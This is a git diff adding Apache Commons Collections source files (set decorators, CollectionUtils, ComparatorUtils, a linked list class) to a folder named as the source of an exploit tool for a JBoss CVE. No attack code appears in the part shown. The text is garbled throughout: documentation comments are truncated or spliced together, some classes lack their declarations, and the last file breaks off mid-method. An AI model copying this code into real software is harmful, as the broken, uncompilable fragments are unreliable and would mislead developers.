+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TypedSet.java"
@@ -0,0 +1,59 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.Set;
+
+import org.apache.commons.collections.functors.InstanceofPredicate;
+
+/**
+ * Decorates another
+ * The validation of additions is performed via an instanceof test against
+ * a specified
+ * If there are any elements already in the set being decorated, they
+ * are validated.
+ *
+ * @param set the set to decorate, must not be null
+ * @param type the type to allow into the collection, must not be null
+ * @throws IllegalArgumentException if set or type is null
+ * @throws IllegalArgumentException if the set contains invalid elements
+ */
+ public static Set decorate(Set set, Class type) {
+ return new PredicatedSet(set, InstanceofPredicate.getInstance(type));
+ }
+
+ /**
+ * Restrictive constructor.
+ */
+ protected TypedSet() {
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TypedSortedSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TypedSortedSet.java"
new file mode 100644
index 0000000..5314eb3
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TypedSortedSet.java"
@@ -0,0 +1,59 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.SortedSet;
+
+import org.apache.commons.collections.functors.InstanceofPredicate;
+
+/**
+ * Decorates another
+ * The validation of additions is performed via an instanceof test against
+ * a specified
+ * If there are any elements already in the set being decorated, they
+ * are validated.
+ *
+ * @param set the set to decorate, must not be null
+ * @param type the type to allow into the collection, must not be null
+ * @throws IllegalArgumentException if set or type is null
+ * @throws IllegalArgumentException if the set contains invalid elements
+ */
+ public static SortedSet decorate(SortedSet set, Class type) {
+ return new PredicatedSortedSet(set, InstanceofPredicate.getInstance(type));
+ }
+
+ /**
+ * Restrictive constructor.
+ */
+ protected TypedSortedSet() {
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/UnmodifiableSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/UnmodifiableSet.java"
new file mode 100644
index 0000000..d9af320
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/UnmodifiableSet.java"
@@ -0,0 +1,95 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Set;
+
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.iterators.UnmodifiableIterator;
+
+/**
+ * Decorates another
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableSet
+ extends AbstractSerializableSetDecorator
+ implements Unmodifiable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 6499119872185240161L;
+
+ /**
+ * Factory method to create an unmodifiable set.
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ public static Set decorate(Set set) {
+ if (set instanceof Unmodifiable) {
+ return set;
+ }
+ return new UnmodifiableSet(set);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ private UnmodifiableSet(Set set) {
+ super(set);
+ }
+
+ //-----------------------------------------------------------------------
+ public Iterator iterator() {
+ return UnmodifiableIterator.decorate(getCollection().iterator());
+ }
+
+ public boolean add(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean removeAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean retainAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/UnmodifiableSortedSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/UnmodifiableSortedSet.java"
new file mode 100644
index 0000000..0853ae4
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/UnmodifiableSortedSet.java"
@@ -0,0 +1,139 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.SortedSet;
+
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.iterators.UnmodifiableIterator;
+
+/**
+ * Decorates another
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/06/02 22:02:34 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableSortedSet
+ extends AbstractSortedSetDecorator
+ implements Unmodifiable, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -725356885467962424L;
+
+ /**
+ * Factory method to create an unmodifiable set.
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ public static SortedSet decorate(SortedSet set) {
+ if (set instanceof Unmodifiable) {
+ return set;
+ }
+ return new UnmodifiableSortedSet(set);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the collection out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(collection);
+ }
+
+ /**
+ * Read the collection in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ collection = (Collection) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ private UnmodifiableSortedSet(SortedSet set) {
+ super(set);
+ }
+
+ //-----------------------------------------------------------------------
+ public Iterator iterator() {
+ return UnmodifiableIterator.decorate(getCollection().iterator());
+ }
+
+ public boolean add(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean removeAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean retainAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ //-----------------------------------------------------------------------
+ public SortedSet subSet(Object fromElement, Object toElement) {
+ SortedSet sub = getSortedSet().subSet(fromElement, toElement);
+ return new UnmodifiableSortedSet(sub);
+ }
+
+ public SortedSet headSet(Object toElement) {
+ SortedSet sub = getSortedSet().headSet(toElement);
+ return new UnmodifiableSortedSet(sub);
+ }
+
+ public SortedSet tailSet(Object fromElement) {
+ SortedSet sub = getSortedSet().tailSet(fromElement);
+ return new UnmodifiableSortedSet(sub);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/package.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/package.html"
new file mode 100644
index 0000000..7d20380
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/package.html"
@@ -0,0 +1,42 @@
+
+
+
+This package contains implementations of the
+{@link java.util.Set Set} and
+{@link java.util.SortedSet SortedSet} interfaces.
+
+The implementations are in the form of direct implementations and decorators.
+A decorator wraps another implementation of the interface to add some
+specific additional functionality.
+
+The following implementations are provided in the package:
+true
iff at least one element is in both collections.
+ * true
iff the
+ * {@link #intersection} of coll1 and coll2 is not empty.
+ *
+ * @param coll1 the first collection, must not be null
+ * @param coll2 the first collection, must not be null
+ * @return true
iff the intersection of the collections is non-empty
+ * @since 2.1
+ * @see #intersection
+ */
+ public static boolean containsAny(final Collection coll1, final Collection coll2) {
+ if (coll1.size() < coll2.size()) {
+ for (Iterator it = coll1.iterator(); it.hasNext();) {
+ if (coll2.contains(it.next())) {
+ return true;
+ }
+ }
+ } else {
+ for (Iterator it = coll2.iterator(); it.hasNext();) {
+ if (coll1.contains(it.next())) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Returns a {@link Map} mapping each unique element in the given
+ * {@link Collection} to an {@link Integer} representing the number
+ * of occurrences of that element in the {@link Collection}.
+ * true
iff a is a sub-collection of b
+ * @see #isProperSubCollection
+ * @see Collection#containsAll
+ */
+ public static boolean isSubCollection(final Collection a, final Collection b) {
+ Map mapa = getCardinalityMap(a);
+ Map mapb = getCardinalityMap(b);
+ Iterator it = a.iterator();
+ while (it.hasNext()) {
+ Object obj = it.next();
+ if (getFreq(obj, mapa) > getFreq(obj, mapb)) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Returns true iff a is a proper sub-collection of b,
+ * that is, iff the cardinality of e in a is less
+ * than or equal to the cardinality of e in b,
+ * for each element e in a, and there is at least one
+ * element f such that the cardinality of f in b
+ * is strictly greater than the cardinality of f in a.
+ *
+ *
+ *
+ * @param a the first (sub?) collection, must not be null
+ * @param b the second (super?) collection, must not be null
+ * @return a.size()
and b.size()
represent the
+ * total cardinality of a and b, resp. a.size() < Integer.MAXVALUE
true
iff a is a proper sub-collection of b
+ * @see #isSubCollection
+ * @see Collection#containsAll
+ */
+ public static boolean isProperSubCollection(final Collection a, final Collection b) {
+ return (a.size() < b.size()) && CollectionUtils.isSubCollection(a,b);
+ }
+
+ /**
+ * Returns true iff the given {@link Collection}s contain
+ * exactly the same elements with exactly the same cardinalities.
+ * true
iff the collections contain the same elements with the same cardinalities.
+ */
+ public static boolean isEqualCollection(final Collection a, final Collection b) {
+ if(a.size() != b.size()) {
+ return false;
+ } else {
+ Map mapa = getCardinalityMap(a);
+ Map mapb = getCardinalityMap(b);
+ if(mapa.size() != mapb.size()) {
+ return false;
+ } else {
+ Iterator it = mapa.keySet().iterator();
+ while(it.hasNext()) {
+ Object obj = it.next();
+ if(getFreq(obj,mapa) != getFreq(obj,mapb)) {
+ return false;
+ }
+ }
+ return true;
+ }
+ }
+ }
+
+ /**
+ * Returns the number of occurrences of obj in coll.
+ *
+ * @param obj the object to find the cardinality of
+ * @param coll the collection to search
+ * @return the the number of occurrences of obj in coll
+ */
+ public static int cardinality(Object obj, final Collection coll) {
+ if (coll instanceof Set) {
+ return (coll.contains(obj) ? 1 : 0);
+ }
+ if (coll instanceof Bag) {
+ return ((Bag) coll).getCount(obj);
+ }
+ int count = 0;
+ if (obj == null) {
+ for (Iterator it = coll.iterator();it.hasNext();) {
+ if (it.next() == null) {
+ count++;
+ }
+ }
+ } else {
+ for (Iterator it = coll.iterator();it.hasNext();) {
+ if (obj.equals(it.next())) {
+ count++;
+ }
+ }
+ }
+ return count;
+ }
+
+ /**
+ * Finds the first element in the given collection which matches the given predicate.
+ * null
collection or predicate matches no elements.
+ *
+ * @param inputCollection the collection to get the input from, may be null
+ * @param predicate the predicate to use, may be null
+ * @return the number of matches for the predicate in the collection
+ */
+ public static int countMatches(Collection inputCollection, Predicate predicate) {
+ int count = 0;
+ if (inputCollection != null && predicate != null) {
+ for (Iterator it = inputCollection.iterator(); it.hasNext();) {
+ if (predicate.evaluate(it.next())) {
+ count++;
+ }
+ }
+ }
+ return count;
+ }
+
+ /**
+ * Answers true if a predicate is true for at least one element of a collection.
+ * null
collection or predicate returns false.
+ *
+ * @param collection the collection to get the input from, may be null
+ * @param predicate the predicate to use, may be null
+ * @return true if at least one element of the collection matches the predicate
+ */
+ public static boolean exists(Collection collection, Predicate predicate) {
+ if (collection != null && predicate != null) {
+ for (Iterator it = collection.iterator(); it.hasNext();) {
+ if (predicate.evaluate(it.next())) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Selects all elements from input collection which match the given predicate
+ * into an output collection.
+ * null
predicate matches no elements.
+ *
+ * @param inputCollection the collection to get the input from, may not be null
+ * @param predicate the predicate to use, may be null
+ * @return the elements matching the predicate (new list)
+ * @throws NullPointerException if the input collection is null
+ */
+ public static Collection select(Collection inputCollection, Predicate predicate) {
+ ArrayList answer = new ArrayList(inputCollection.size());
+ select(inputCollection, predicate, answer);
+ return answer;
+ }
+
+ /**
+ * Selects all elements from input collection which match the given predicate
+ * and adds them to outputCollection.
+ * null
, the result is an empty list.
+ *
+ * @param inputCollection the collection to get the input from, may not be null
+ * @param predicate the predicate to use, may be null
+ * @return the elements not matching the predicate (new list)
+ * @throws NullPointerException if the input collection is null
+ */
+ public static Collection selectRejected(Collection inputCollection, Predicate predicate) {
+ ArrayList answer = new ArrayList(inputCollection.size());
+ selectRejected(inputCollection, predicate, answer);
+ return answer;
+ }
+
+ /**
+ * Selects all elements from inputCollection which don't match the given predicate
+ * and adds them to outputCollection.
+ * null
, no elements are added to outputCollection
.
+ *
+ * @param inputCollection the collection to get the input from, may be null
+ * @param predicate the predicate to use, may be null
+ * @param outputCollection the collection to output into, may not be null
+ */
+ public static void selectRejected(Collection inputCollection, Predicate predicate, Collection outputCollection) {
+ if (inputCollection != null && predicate != null) {
+ for (Iterator iter = inputCollection.iterator(); iter.hasNext();) {
+ Object item = iter.next();
+ if (predicate.evaluate(item) == false) {
+ outputCollection.add(item);
+ }
+ }
+ }
+ }
+
+ /**
+ * Returns a new Collection consisting of the elements of inputCollection transformed
+ * by the given transformer.
+ *
+ *
+ *
+ * @param obj the object to get an index of, may be null
+ * @param idx the index to get
+ * @throws IndexOutOfBoundsException
+ * @throws ArrayIndexOutOfBoundsException
+ *
+ * @deprecated use {@link #get(Object, int)} instead. Will be removed in v4.0
+ */
+ public static Object index(Object obj, int idx) {
+ return index(obj, new Integer(idx));
+ }
+
+ /**
+ * Given an Object, and a key (index), returns the value associated with
+ * that key in the Object. The following checks are made:
+ *
+ *
+ *
+ * @param obj the object to get an index of
+ * @param index the index to get
+ * @return the object at the specified index
+ * @throws IndexOutOfBoundsException
+ * @throws ArrayIndexOutOfBoundsException
+ *
+ * @deprecated use {@link #get(Object, int)} instead. Will be removed in v4.0
+ */
+ public static Object index(Object obj, Object index) {
+ if(obj instanceof Map) {
+ Map map = (Map)obj;
+ if(map.containsKey(index)) {
+ return map.get(index);
+ }
+ }
+ int idx = -1;
+ if(index instanceof Integer) {
+ idx = ((Integer)index).intValue();
+ }
+ if(idx < 0) {
+ return obj;
+ }
+ else if(obj instanceof Map) {
+ Map map = (Map)obj;
+ Iterator iterator = map.keySet().iterator();
+ return index(iterator, idx);
+ }
+ else if(obj instanceof List) {
+ return ((List)obj).get(idx);
+ }
+ else if(obj instanceof Object[]) {
+ return ((Object[])obj)[idx];
+ }
+ else if(obj instanceof Enumeration) {
+ Enumeration it = (Enumeration)obj;
+ while(it.hasMoreElements()) {
+ idx--;
+ if(idx == -1) {
+ return it.nextElement();
+ } else {
+ it.nextElement();
+ }
+ }
+ }
+ else if(obj instanceof Iterator) {
+ return index((Iterator)obj, idx);
+ }
+ else if(obj instanceof Collection) {
+ Iterator iterator = ((Collection)obj).iterator();
+ return index(iterator, idx);
+ }
+ return obj;
+ }
+
+ private static Object index(Iterator iterator, int idx) {
+ while(iterator.hasNext()) {
+ idx--;
+ if(idx == -1) {
+ return iterator.next();
+ } else {
+ iterator.next();
+ }
+ }
+ return iterator;
+ }
+
+ /**
+ * Returns the index
-th value in object
, throwing
+ * IndexOutOfBoundsException
if there is no such element or
+ * IllegalArgumentException
if object
is not an
+ * instance of one of the supported types.
+ *
+ *
+ *
+ * @param object the object to get a value from
+ * @param index the index to get
+ * @return the object at the specified index
+ * @throws IndexOutOfBoundsException if the index is invalid
+ * @throws IllegalArgumentException if the object type is invalid
+ */
+ public static Object get(Object object, int index) {
+ if (index < 0) {
+ throw new IndexOutOfBoundsException("Index cannot be negative: " + index);
+ }
+ if (object instanceof Map) {
+ Map map = (Map) object;
+ Iterator iterator = map.entrySet().iterator();
+ return get(iterator, index);
+ } else if (object instanceof List) {
+ return ((List) object).get(index);
+ } else if (object instanceof Object[]) {
+ return ((Object[]) object)[index];
+ } else if (object instanceof Iterator) {
+ Iterator it = (Iterator) object;
+ while (it.hasNext()) {
+ index--;
+ if (index == -1) {
+ return it.next();
+ } else {
+ it.next();
+ }
+ }
+ throw new IndexOutOfBoundsException("Entry does not exist: " + index);
+ } else if (object instanceof Collection) {
+ Iterator iterator = ((Collection) object).iterator();
+ return get(iterator, index);
+ } else if (object instanceof Enumeration) {
+ Enumeration it = (Enumeration) object;
+ while (it.hasMoreElements()) {
+ index--;
+ if (index == -1) {
+ return it.nextElement();
+ } else {
+ it.nextElement();
+ }
+ }
+ throw new IndexOutOfBoundsException("Entry does not exist: " + index);
+ } else if (object == null) {
+ throw new IllegalArgumentException("Unsupported object type: null");
+ } else {
+ try {
+ return Array.get(object, index);
+ } catch (IllegalArgumentException ex) {
+ throw new IllegalArgumentException("Unsupported object type: " + object.getClass().getName());
+ }
+ }
+ }
+
+ /**
+ * Gets the size of the collection/iterator specified.
+ * Map.Entry
in position
+ * index
in the map's entrySet
iterator,
+ * if there is such an entry.index
-th array entry is returned,
+ * if there is such an entry; otherwise an IndexOutOfBoundsException
+ * is thrown.index
-th object
+ * returned by the collection's default iterator, if there is such an element.index
-th object in the Iterator/Enumeration, if there
+ * is such an element. The Iterator/Enumeration is advanced to
+ * index
(or to the end, if index
exceeds the
+ * number of entries) as a side effect of this method.
+ *
+ *
+ * @param object the object to get the size of
+ * @return the size of the specified collection
+ * @throws IllegalArgumentException thrown if object is not recognised or null
+ * @since Commons Collections 3.1
+ */
+ public static int size(Object object) {
+ int total = 0;
+ if (object instanceof Map) {
+ total = ((Map) object).size();
+ } else if (object instanceof Collection) {
+ total = ((Collection) object).size();
+ } else if (object instanceof Object[]) {
+ total = ((Object[]) object).length;
+ } else if (object instanceof Iterator) {
+ Iterator it = (Iterator) object;
+ while (it.hasNext()) {
+ total++;
+ it.next();
+ }
+ } else if (object instanceof Enumeration) {
+ Enumeration it = (Enumeration) object;
+ while (it.hasMoreElements()) {
+ total++;
+ it.nextElement();
+ }
+ } else if (object == null) {
+ throw new IllegalArgumentException("Unsupported object type: null");
+ } else {
+ try {
+ total = Array.getLength(object);
+ } catch (IllegalArgumentException ex) {
+ throw new IllegalArgumentException("Unsupported object type: " + object.getClass().getName());
+ }
+ }
+ return total;
+ }
+
+ /**
+ * Reverses the order of the given array.
+ *
+ * @param array the array to reverse
+ */
+ public static void reverseArray(Object[] array) {
+ int i = 0;
+ int j = array.length - 1;
+ Object tmp;
+
+ while (j > i) {
+ tmp = array[j];
+ array[j] = array[i];
+ array[i] = tmp;
+ j--;
+ i++;
+ }
+ }
+
+ private static final int getFreq(final Object obj, final Map freqMap) {
+ Integer count = (Integer) freqMap.get(obj);
+ if (count != null) {
+ return count.intValue();
+ }
+ return 0;
+ }
+
+ /**
+ * Returns true if no more elements can be added to the Collection.
+ *
+ * Collection c = CollectionUtils.synchronizedCollection(myCollection);
+ * synchronized (c) {
+ * Iterator i = c.iterator();
+ * while (i.hasNext()) {
+ * process (i.next());
+ * }
+ * }
+ *
+ *
+ * This method uses the implementation in the decorators subpackage.
+ *
+ * @param collection the collection to synchronize, must not be null
+ * @return a synchronized collection backed by the given collection
+ * @throws IllegalArgumentException if the collection is null
+ */
+ public static Collection synchronizedCollection(Collection collection) {
+ return SynchronizedCollection.decorate(collection);
+ }
+
+ /**
+ * Returns an unmodifiable collection backed by the given collection.
+ * Comparator
+ * objects.
+ * comparators
package. This class merely provides a
+ * convenient central place if you have use for more than one class
+ * in the comparators
subpackage.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: $ $Date: $
+ *
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ */
+public class ComparatorUtils {
+
+ /**
+ * ComparatorUtils should not normally be instantiated.
+ */
+ public ComparatorUtils() {
+ }
+
+ /**
+ * Comparator for natural sort order.
+ *
+ * @see ComparableComparator#getInstance
+ */
+ public static final Comparator NATURAL_COMPARATOR = ComparableComparator.getInstance();
+
+ /**
+ * Gets a comparator that uses the natural order of the objects.
+ *
+ * @return a comparator which uses natural order
+ */
+ public static Comparator naturalComparator() {
+ return NATURAL_COMPARATOR;
+ }
+
+ /**
+ * Gets a comparator that compares using two {@link Comparator}s.
+ * true
, sort
+ * true
{@link Boolean}s before
+ * false
{@link Boolean}s.
+ * @return a comparator that sorts booleans
+ */
+ public static Comparator booleanComparator(boolean trueFirst) {
+ return BooleanComparator.getBooleanComparator(trueFirst);
+ }
+
+ /**
+ * Gets a Comparator that controls the comparison of null
values.
+ * null
values.
+ *
+ * hashCode = 1;
+ * Iterator i = list.iterator();
+ * while (i.hasNext()) {
+ * Object obj = i.next();
+ * hashCode = 31*hashCode + (obj==null ? 0 : obj.hashCode());
+ * }
+ *
+ * This ensures that list1.equals(list2) implies that
+ * list1.hashCode()==list2.hashCode() for any two lists,
+ * list1 and list2, as required by the general
+ * contract of Object.hashCode.
+ *
+ * @return the hash code value for this list.
+ * @see Object#hashCode()
+ * @see Object#equals(Object)
+ * @see #equals(Object)
+ */
+ public int hashCode() {
+ int hash = 1;
+ for(Listable elt = _head.next(), past = null; null != elt && past != _head.prev(); elt = (past = elt).next()) {
+ hash = 31*hash + (null == elt.value() ? 0 : elt.value().hashCode());
+ }
+ return hash;
+ }
+
+ /**
+ * Returns the index in this list of the first occurrence of the specified
+ * element, or -1 if this list does not contain this element.
+ * More formally, returns the lowest index i such that
+ * (o==null ? get(i)==null : o.equals(get(i))),
+ * or -1 if there is no such index.
+ *
+ * @param o element to search for.
+ * @return the index in this list of the first occurrence of the specified
+ * element, or -1 if this list does not contain this element.
+ */
+ public int indexOf(Object o) {
+ int ndx = 0;
+
+ // perform the null check outside of the loop to save checking every
+ // single time through the loop.
+ if (null == o) {
+ for(Listable elt = _head.next(), past = null; null != elt && past != _head.prev(); elt = (past = elt).next()) {
+ if (null == elt.value()) {
+ return ndx;
+ }
+ ndx++;
+ }
+ } else {
+
+ for(Listable elt = _head.next(), past = null; null != elt && past != _head.prev(); elt = (past = elt).next()) {
+ if (o.equals(elt.value())) {
+ return ndx;
+ }
+ ndx++;
+ }
+ }
+ return -1;
+ }
+
+ /**
+ * Returns true if this list contains no elements.
+ * @return true if this list contains no elements.
+ */
+ public boolean isEmpty() {
+ return(0 == _size);
+ }
+
+ /**
+ * Returns a fail-fast iterator.
+ * @see List#iterator
+ */
+ public Iterator iterator() {
+ return listIterator(0);
+ }
+
+ /**
+ * Returns the index in this list of the last occurrence of the specified
+ * element, or -1 if this list does not contain this element.
+ * More formally, returns the highest index i such that
+ * (o==null ? get(i)==null : o.equals(get(i))),
+ * or -1 if there is no such index.
+ *
+ * @param o element to search for.
+ * @return the index in this list of the last occurrence of the specified
+ * element, or -1 if this list does not contain this element.
+ */
+ public int lastIndexOf(Object o) {
+ int ndx = _size-1;
+
+ // perform the null check outside of the loop to save checking every
+ // single time through the loop.
+ if (null == o) {
+ for(Listable elt = _head.prev(), past = null; null != elt && past != _head.next(); elt = (past = elt).prev()) {
+ if (null == elt.value()) {
+ return ndx;
+ }
+ ndx--;
+ }
+ } else {
+ for(Listable elt = _head.prev(), past = null; null != elt && past != _head.next(); elt = (past = elt).prev()) {
+ if (o.equals(elt.value())) {
+ return ndx;
+ }
+ ndx--;
+ }
+ }
+ return -1;
+ }
+
+ /**
+ * Returns a fail-fast ListIterator.
+ * @see List#listIterator
+ */
+ public ListIterator listIterator() {
+ return listIterator(0);
+ }
+
+ /**
+ * Returns a fail-fast ListIterator.
+ * @see List#listIterator(int)
+ */
+ public ListIterator listIterator(int index) {
+ if(index<0 || index > _size) {
+ throw new IndexOutOfBoundsException(index + " < 0 or > " + _size);
+ }
+ return new ListIter(index);
+ }
+
+ /**
+ * Removes the first occurrence in this list of the specified element.
+ * If this list does not contain the element, it is
+ * unchanged. More formally, removes the element with the lowest index i
+ * such that (o==null ? get(i)==null : o.equals(get(i))) (if
+ * such an element exists).
+ *
+ * @param o element to be removed from this list, if present.
+ * @return true if this list contained the specified element.
+ */
+ public boolean remove(Object o) {
+ for(Listable elt = _head.next(), past = null; null != elt && past != _head.prev(); elt = (past = elt).next()) {
+ if(null == o && null == elt.value()) {
+ removeListable(elt);
+ return true;
+ } else if(o != null && o.equals(elt.value())) {
+ removeListable(elt);
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Removes the element at the specified position in this list (optional
+ * operation). Shifts any subsequent elements to the left (subtracts one
+ * from their indices). Returns the element that was removed from the
+ * list.
+ *
+ * @param index the index of the element to removed.
+ * @return the element previously at the specified position.
+ *
+ * @throws IndexOutOfBoundsException if the index is out of range (index
+ * < 0 || index >= size()).
+ */
+ public Object remove(int index) {
+ Listable elt = getListableAt(index);
+ Object ret = elt.value();
+ removeListable(elt);
+ return ret;
+ }
+
+ /**
+ * Removes from this list all the elements that are contained in the
+ * specified collection.
+ *
+ * @param c collection that defines which elements will be removed from
+ * this list.
+ * @return true if this list changed as a result of the call.
+ */
+ public boolean removeAll(Collection c) {
+ if(0 == c.size() || 0 == _size) {
+ return false;
+ } else {
+ boolean changed = false;
+ Iterator it = iterator();
+ while(it.hasNext()) {
+ if(c.contains(it.next())) {
+ it.remove();
+ changed = true;
+ }
+ }
+ return changed;
+ }
+ }
+
+ /**
+ * Removes the first element of this list, if any.
+ */
+ public Object removeFirst() {
+ if(_head.next() != null) {
+ Object val = _head.next().value();
+ removeListable(_head.next());
+ return val;
+ } else {
+ throw new NoSuchElementException();
+ }
+ }
+
+ /**
+ * Removes the last element of this list, if any.
+ */
+ public Object removeLast() {
+ if(_head.prev() != null) {
+ Object val = _head.prev().value();
+ removeListable(_head.prev());
+ return val;
+ } else {
+ throw new NoSuchElementException();
+ }
+ }
+
+ /**
+ * Retains only the elements in this list that are contained in the
+ * specified collection. In other words, removes
+ * from this list all the elements that are not contained in the specified
+ * collection.
+ *
+ * @param c collection that defines which elements this set will retain.
+ *
+ * @return true if this list changed as a result of the call.
+ */
+ public boolean retainAll(Collection c) {
+ boolean changed = false;
+ Iterator it = iterator();
+ while(it.hasNext()) {
+ if(!c.contains(it.next())) {
+ it.remove();
+ changed = true;
